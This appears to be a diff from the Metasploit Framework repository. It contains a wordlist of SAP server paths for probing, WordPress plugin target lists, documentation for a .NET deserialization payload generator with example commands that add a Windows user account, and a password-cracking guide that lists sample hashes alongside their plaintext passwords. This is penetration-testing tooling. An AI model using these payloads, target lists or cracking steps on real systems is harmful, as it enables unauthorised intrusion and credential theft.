sap/bc/webdynpro/sap/wdr_test_mandatory
|
||||
sap/bc/webdynpro/sap/wdr_test_misc
|
||||
sap/bc/webdynpro/sap/wdr_test_msg_manager_00
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation6
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation7
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation_00
|
||||
sap/bc/webdynpro/sap/wdr_test_ovs2
|
||||
sap/bc/webdynpro/sap/wdr_test_p00004
|
||||
sap/bc/webdynpro/sap/wdr_test_p00006
|
||||
sap/bc/webdynpro/sap/wdr_test_p00007
|
||||
sap/bc/webdynpro/sap/wdr_test_p00008
|
||||
sap/bc/webdynpro/sap/wdr_test_p00009
|
||||
sap/bc/webdynpro/sap/wdr_test_p00010
|
||||
sap/bc/webdynpro/sap/wdr_test_p00011
|
||||
sap/bc/webdynpro/sap/wdr_test_paddless_window
|
||||
sap/bc/webdynpro/sap/wdr_test_pers_imp
|
||||
sap/bc/webdynpro/sap/wdr_test_pers_imp_exp
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_01
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_inplug
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_to_confirm
|
||||
sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
sap/bc/webdynpro/sap/wdr_test_popups_rt_00
|
||||
sap/bc/webdynpro/sap/wdr_test_select_options
|
||||
sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
sap/bc/webdynpro/sap/wdr_test_ur_browser
|
||||
sap/bc/webdynpro/sap/wdr_transport_srvs
|
||||
sap/bc/webdynpro/sap/wdt_alv
|
||||
sap/bc/webdynpro/sap/wdt_bg_scatter
|
||||
sap/bc/webdynpro/sap/wdt_componentdetail
|
||||
sap/bc/webdynpro/sap/wdt_componentusage
|
||||
sap/bc/webdynpro/sap/wdt_dialogboxes
|
||||
sap/bc/webdynpro/sap/wdt_ext_map_reuse
|
||||
sap/bc/webdynpro/sap/wdt_flightlist
|
||||
sap/bc/webdynpro/sap/wdt_master_detail
|
||||
sap/bc/webdynpro/sap/wdt_quiz
|
||||
sap/bc/webdynpro/sap/wdt_table
|
||||
sap/bc/webdynpro/sap/wdt_tree
|
||||
sap/bc/webdynpro/sap/wdt_tree_table_by_key
|
||||
sap/bc/webflow
|
||||
sap/bc/webflow/
|
||||
sap/bc/webflow/demo
|
||||
sap/bc/webflow/demo/
|
||||
sap/bc/webflow/demo/trareq_update
|
||||
sap/bc/webflow/demo/wf_demo_calc_01
|
||||
sap/bc/webflow/test
|
||||
sap/bc/webflow/test/
|
||||
sap/bc/webflow/test/get_data
|
||||
sap/bc/webflow/test/inc_async
|
||||
sap/bc/webflow/test/inc_sync
|
||||
sap/bc/webflow/test/test_datatypes
|
||||
sap/bc/webflow/test/test_get_xml
|
||||
sap/bc/webflow/test/test_show_xml
|
||||
sap/bc/webflow/wshandler
|
||||
sap/bc/webrfc
|
||||
sap/bc/workflow
|
||||
sap/bc/workflow/
|
||||
sap/bc/workflow/shortcut
|
||||
sap/bc/workflow/workflow_api
|
||||
sap/bc/workflow_xml
|
||||
sap/bc/xmb
|
||||
sap/bc/xml
|
||||
sap/bc/xmsmsg
|
||||
sap/bc/xrfc
|
||||
sap/bc/xrfc_test
|
||||
sap/bw
|
||||
sap/ca
|
||||
sap/ca/att_provide
|
||||
sap/crm
|
||||
sap/es/cockpit
|
||||
sap/es/getdocument
|
||||
sap/es/opensearch
|
||||
sap/es/opensearch/description
|
||||
sap/es/opensearch/list
|
||||
sap/es/opensearch/search
|
||||
sap/es/redirect
|
||||
sap/es/saplink
|
||||
sap/es/search
|
||||
sap/icm/admin
|
||||
sap/meData
|
||||
sap/monitoring
|
||||
sap/monitoring/
|
||||
sap/monitoring/ComponentInfo
|
||||
sap/monitoring/SystemInfo
|
||||
sap/option
|
||||
sap/public
|
||||
sap/public/
|
||||
sap/public/bc
|
||||
sap/public/bc/
|
||||
sap/public/bc/NWDEMO_MODEL
|
||||
sap/public/bc/NW_ESH_TST_AUTO
|
||||
sap/public/bc/icons
|
||||
sap/public/bc/icons_rtl
|
||||
sap/public/bc/its
|
||||
sap/public/bc/its/
|
||||
sap/public/bc/its/designs
|
||||
sap/public/bc/its/mimes
|
||||
sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||
sap/public/bc/its/mobile/itsmobile00
|
||||
sap/public/bc/its/mobile/itsmobile01
|
||||
sap/public/bc/its/mobile/rfid
|
||||
sap/public/bc/its/mobile/start
|
||||
sap/public/bc/its/mobile/test
|
||||
sap/public/bc/pictograms
|
||||
sap/public/bc/sicf_login_run
|
||||
sap/public/bc/trex
|
||||
sap/public/bc/ur
|
||||
sap/public/bc/wdtracetool
|
||||
sap/public/bc/webdynpro
|
||||
sap/public/bc/webdynpro/
|
||||
sap/public/bc/webdynpro/ViewDesigner
|
||||
sap/public/bc/webdynpro/adobeChallenge
|
||||
sap/public/bc/webdynpro/adobechallenge
|
||||
sap/public/bc/webdynpro/mimes
|
||||
sap/public/bc/webdynpro/ssr
|
||||
sap/public/bc/webdynpro/viewdesigner
|
||||
sap/public/bc/webicons
|
||||
sap/public/bc/workflow
|
||||
sap/public/bc/workflow/shortcut
|
||||
sap/public/bsp
|
||||
sap/public/bsp/sap
|
||||
sap/public/bsp/sap/
|
||||
sap/public/bsp/sap/htmlb
|
||||
sap/public/bsp/sap/public
|
||||
sap/public/bsp/sap/public/
|
||||
sap/public/bsp/sap/public/ISE
|
||||
sap/public/bsp/sap/public/bc
|
||||
sap/public/bsp/sap/public/faa
|
||||
sap/public/bsp/sap/public/graphics
|
||||
sap/public/bsp/sap/public/graphics/
|
||||
sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
sap/public/bsp/sap/public/graphics/mimes
|
||||
sap/public/bsp/sap/system
|
||||
sap/public/bsp/sap/system_public
|
||||
sap/public/icf_check
|
||||
sap/public/icf_info
|
||||
sap/public/icf_info/
|
||||
sap/public/icf_info/icr_groups
|
||||
sap/public/icf_info/icr_urlprefix
|
||||
sap/public/icf_info/logon_groups
|
||||
sap/public/icf_info/urlprefix
|
||||
sap/public/icman
|
||||
sap/public/info
|
||||
sap/public/myssocntl
|
||||
sap/public/ping
|
||||
sap/wdvd
|
||||
sap/webcuif
|
||||
sap/webdynpro/sap/hap_main_document
|
||||
sap/webdynpro/sap/hap_start_page_powl_ui_ess
|
||||
sap/webdynpro/sap/hap_store_page_powl_ui_mss
|
||||
sap/webdynpro/sap/hrtmc_employee_profile
|
||||
sap/webdynpro/sap/hrtmc_rm_maintenance
|
||||
sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
sap/webdynpro/sap/wd_analyze_config_user
|
||||
sap/xi
|
||||
sap/xi/
|
||||
sap/xi/adapter_plain
|
||||
sap/xi/cache
|
||||
sap/xi/cache_gui
|
||||
sap/xi/cache_gui_ssl
|
||||
sap/xi/cache_ssl
|
||||
sap/xi/docu_apperror
|
||||
sap/xi/docu_syserror
|
||||
sap/xi/engine
|
||||
sap/xi/engine_test
|
||||
sap/xi/simulation
|
||||
sap/xml/
|
||||
sap/xml/cwm
|
||||
sap/xml/soap
|
||||
sap/xml/soap/xmla
|
||||
sap/xml/soap/xmla/fault
|
||||
sap_java
|
||||
sap_java/bc
|
||||
sapmc
|
||||
sapmc/sapmc.html
|
||||
sapse/startsld
|
||||
servlet/com.sap.admin.Critical.Actio
|
||||
sim/
|
||||
sim/config/testdata.jsp
|
||||
sim/config/testerror.jsp
|
||||
sim/index.html
|
||||
sld
|
||||
slm
|
||||
slmServices/config
|
||||
slmServices/config?wsdl
|
||||
slmSolManServices/Config1
|
||||
socoview
|
||||
socoview/flddisplay.asp
|
||||
sp
|
||||
spml
|
||||
sysconfig
|
||||
tc.lm.webadmin.endtoend.public.app
|
||||
tc/lm/webadmin/clusteradmin
|
||||
teched/test
|
||||
test30
|
||||
top.html
|
||||
uddi
|
||||
uddiclient
|
||||
uddiclient/jsps/index.jsp
|
||||
useradmin
|
||||
useradmin/index.jsp
|
||||
userhome/
|
||||
utl
|
||||
vscantest
|
||||
vscantest/
|
||||
webdynpro
|
||||
webdynpro/dispatcher
|
||||
webdynpro/dispatcher/sap.com/grc~accvwdcomp
|
||||
webdynpro/dispatcher/sap.com/grc~aewebquery
|
||||
webdynpro/dispatcher/sap.com/grc~ccappcomp
|
||||
webdynpro/dispatcher/sap.com/grc~ccxsysbe
|
||||
webdynpro/dispatcher/sap.com/grc~ccxsysbehr
|
||||
webdynpro/dispatcher/sap.com/grc~ffappcomp
|
||||
webdynpro/dispatcher/sap.com/pb/pagebuilder
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwl
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldetail
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldisplayhistory
|
||||
webdynpro/dispatcher/sap.com/tc~lm~webadmin~mainframe~wd/WebAdminApp
|
||||
webdynpro/dispatcher/sap.com/tc~sec~ume~wd~enduser/UmeEnduserApp
|
||||
webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/Explorer
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
webdynpro/resources/sap.com/
|
||||
webdynpro/welcome
|
||||
webdynpro/welcome/Welcome.jsp
|
||||
wsd2wsdl
|
||||
wsnavigator
|
||||
wsnavigator/enterwsdl.html
|
||||
wsnavigator/jsps/redirect.jsp
|
||||
wsnavigator/jsps/sendrequest.jsp
|
||||
wsnavigator/jsps/test.jsp
|
||||
wssproc/cert
|
||||
wssproc/plain
|
||||
wssproc/ssl
|
||||
|
||||
@@ -59,3 +59,5 @@ bookingpress
|
||||
paid-memberships-pro
|
||||
woocommerce-payments
|
||||
file-manager-advanced-shortcode
|
||||
royal-elementor-addons
|
||||
backup-backup
|
||||
|
||||
@@ -1,2 +1,3 @@
|
||||
holding_pattern
|
||||
wplms
|
||||
bricks
|
||||
|
||||
+19348
-2927
File diff suppressed because it is too large
Load Diff
@@ -12,14 +12,14 @@ if [ "$MSF_UID" -eq "0" ]; then
|
||||
else
|
||||
# if the users group already exists, create a random GID, otherwise
|
||||
# reuse it
|
||||
if ! grep ":$MSF_GID:" /etc/group > /dev/null; then
|
||||
if ! getent group $MSF_GID > /dev/null; then
|
||||
addgroup -g $MSF_GID $MSF_GROUP
|
||||
else
|
||||
addgroup $MSF_GROUP
|
||||
fi
|
||||
|
||||
# check if user id already exists
|
||||
if ! grep ":$MSF_UID:" /etc/passwd > /dev/null; then
|
||||
if ! getent passwd $MSF_UID > /dev/null; then
|
||||
adduser -u $MSF_UID -D $MSF_USER -g $MSF_USER -G $MSF_GROUP $MSF_USER
|
||||
# add user to metasploit group so it can read the source
|
||||
addgroup $MSF_USER $METASPLOIT_GROUP
|
||||
|
||||
+1
-1
@@ -32,7 +32,7 @@ exclude:
|
||||
# just-the-docs config
|
||||
mermaid_enabled: true
|
||||
mermaid:
|
||||
version: "9.2.2"
|
||||
version: "10.8.0"
|
||||
heading_anchors: true
|
||||
aux_links_new_tab: true
|
||||
aux_links:
|
||||
|
||||
@@ -342,7 +342,7 @@ The result object now as a `.to_h` method which returns a hash compatible with o
|
||||
|
||||
In the case of a success we build some info hashes and call `create_credential`. This is a method found in the metasploit-credential gem under `lib/metasploit/credential/creation.rb` in a mixin called `Metasploit::Credential::Creation`. This mixin is included in the Report mixin, so if your module includes that mixin you'll get these methods for free.
|
||||
|
||||
`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the the status.
|
||||
`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the status.
|
||||
|
||||
Finally, for a success, we output the result to the console.
|
||||
|
||||
|
||||
+1
@@ -70,3 +70,4 @@ Example:
|
||||
| FIRST_ATTEMPT_FAIL | The module may fail for the first attempt |
|
||||
| REPEATABLE_SESSION | The module is expected to get a session every time it runs |
|
||||
| UNRELIABLE_SESSION | The module isn't expected to get a shell reliably (such as only once) |
|
||||
| EVENT_DEPENDENT | The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc |
|
||||
|
||||
@@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system
|
||||
command using the specified gadget chain and formatter.
|
||||
|
||||
Available formatters:
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
|
||||
Available gadget chains:
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
* ClaimsPrincipal
|
||||
* DataSet
|
||||
* DataSetTypeSpoof
|
||||
* ObjectDataProvider
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
|
||||
Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
|
||||
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
|
||||
|
||||
Specific options:
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
-h, --help Show this message
|
||||
Examples:
|
||||
./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
|
||||
./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
|
||||
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
|
||||
|
||||
General options:
|
||||
-h, --help Show this message
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
|
||||
ViewState related options:
|
||||
--viewstate-generator <String>
|
||||
The ViewState generator string to use
|
||||
--viewstate-validation-algorithm <String>
|
||||
The validation algorithm (default: SHA1, see: Available HMAC algorithms)
|
||||
--viewstate-validation-key <HexString>
|
||||
The validationKey from the web.config file
|
||||
```
|
||||
|
||||
The `-g` / `--gadget` option maps to the *gadget_chain* argument for the
|
||||
|
||||
@@ -84,6 +84,16 @@ This section will cover the differences between the two crackers. This is not a
|
||||
| md5 (raw, unicode) | Raw-MD5u | 30 (with an empty salt) |
|
||||
| NetNTLMv1 | netntlm | 5500 |
|
||||
| NetNTLMv2 | netntlmv2 | 5600 |
|
||||
| pbkdf2-sha256 | PBKDF2-HMAC-SHA256 | 10900 |
|
||||
| Android (Samsung) SHA1 | | 5800 |
|
||||
| Android (non-Samsung) SHA1 | | 110 |
|
||||
| Android MD5 | | 10 |
|
||||
| xsha | xsha | 122 |
|
||||
| xsha512 | xsha512 | 1722 |
|
||||
| PBKDF2-HMAC-SHA512 | PBKDF2-HMAC-SHA512 | 7100 |
|
||||
| PBKDF2-HMAC-SHA1 | PBKDF2-HMAC-SHA1 | 12001 |
|
||||
| PHPass | phpass | 400 |
|
||||
| mediawiki | mediawiki | 3711 |
|
||||
|
||||
While Metasploit standardizes with the JtR format, the hashcat [library](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/password_crackers/cracker.rb) includes the `jtr_format_to_hashcat_format` function to translate from jtr to hashcat.
|
||||
|
||||
@@ -135,6 +145,8 @@ creds add user:lm_password ntlm:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB11
|
||||
creds add user:nt_password ntlm:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C jtr:nt
|
||||
creds add user:u4-netntlm hash:u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c jtr:netntlm
|
||||
creds add user:admin hash:admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030 jtr:netntlmv2
|
||||
creds add user:mscash-test1 hash:M$test1#64cd29e36a8431a2b111378564a10631 jtr:mscash
|
||||
creds add user:mscash2-hashcat hash:$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f jtr:mscash2
|
||||
# sql
|
||||
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
|
||||
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
|
||||
@@ -151,45 +163,71 @@ creds add user:oracle11_epsilon hash:'S:8F2D65FB5547B71C8DA3760F10960428CD307B1C
|
||||
creds add user:oracle12c_epsilon hash:'H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B' jtr:pbkdf2,oracle12c
|
||||
## postgres uses username, so we can't override that here
|
||||
creds add user:example postgres:md5be86a79bf2043622d58d5453c47d4860
|
||||
## other
|
||||
# mobile
|
||||
creds add user:samsungsha1 hash:D1B19A90B87FC10C304E657F37162445DAE27D16:a006983800cc3dd1 jtr:android-samsung-sha1
|
||||
creds add user:androidsha1 hash:9860A48CA459D054F3FEF0F8518CF6872923DAE2:81fcb23bcadd6c5 jtr:android-sha1
|
||||
creds add user:androidmd5 hash:1C0A0FDB673FBA36BEAEB078322C7393:81fcb23bcadd6c5 jtr:android-md5
|
||||
# OSX
|
||||
creds add user:xsha_hashcat hash:1430823483d07626ef8be3fda2ff056d0dfd818dbfe47683 jtr:xsha
|
||||
creds add user:pbkdf2_hashcat hash:$ml$35460$93a94bd24b5de64d79a5e49fa372827e739f4d7b6975c752c9a0ff1e5cf72e05$752351df64dd2ce9dc9c64a72ad91de6581a15c19176266b44d98919dfa81f0f96cbcb20a1ffb400718c20382030f637892f776627d34e021bad4f81b7de8222 jtr:PBKDF2-HMAC-SHA512
|
||||
creds add user:xsha512_hashcat hash:648742485c9b0acd786a233b2330197223118111b481abfa0ab8b3e8ede5f014fc7c523991c007db6882680b09962d16fd9c45568260531bdb34804a5e31c22b4cfeb32d jtr:xsha512
|
||||
# webapps
|
||||
creds add user:mediawiki_hashcat hash:$B$56668501$0ce106caa70af57fd525aeaf80ef2898 jtr:mediawiki
|
||||
creds add user:phpass_p_hashcat hash:$P$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
|
||||
creds add user:phpass_h_hashcat hash:$H$984478476IagS59wHZvyQMArzfx58u. jtr:phpass
|
||||
creds add user:atlassian_hashcat hash:{PKCS5S2}NzIyNzM0NzY3NTIwNjI3MdDDis7wPxSbSzfFqDGf7u/L00kSEnupbz36XCL0m7wa jtr:PBKDF2-HMAC-SHA1
|
||||
# other
|
||||
creds add user:hmac_password hash:'<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9' jtr:hmac-md5
|
||||
creds add user:vmware_ldap hash:'$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6' jtr:dynamic_82
|
||||
creds add user:admin hash:'$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU' jtr:pbkdf2-sha256
|
||||
```
|
||||
|
||||
This data breaks down to the following table:
|
||||
|
||||
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
|
||||
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ---------------- | ------------------------------------------------ | --------------------------------------------------------- |
|
||||
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
|
||||
| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
|
||||
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux |
|
||||
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux |
|
||||
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux |
|
||||
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux |
|
||||
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux |
|
||||
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows |
|
||||
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
|
||||
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
|
||||
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None |
|
||||
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | |
|
||||
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
|
||||
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | -------------------- | ------------------------------------------------ | --------------------------------------------------------- |
|
||||
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
|
||||
| DES | des_password | `rEK1ecacw.7.c` | password | des | post/aix/gather/hashdump | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
|
||||
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | post/linux/gather/hashdump | auxiliary/analyze/crack_linux |
|
||||
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | post/windows/gather/hashdump | auxiliary/analyze/crack_windows |
|
||||
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | post/linux/gather/hashdump | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
|
||||
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
|
||||
| MSCash | mscash-test1 | `M$test1#64cd29e36a8431a2b111378564a10631` | test1 | mscash | | auxiliary/analyze/crack_windows |
|
||||
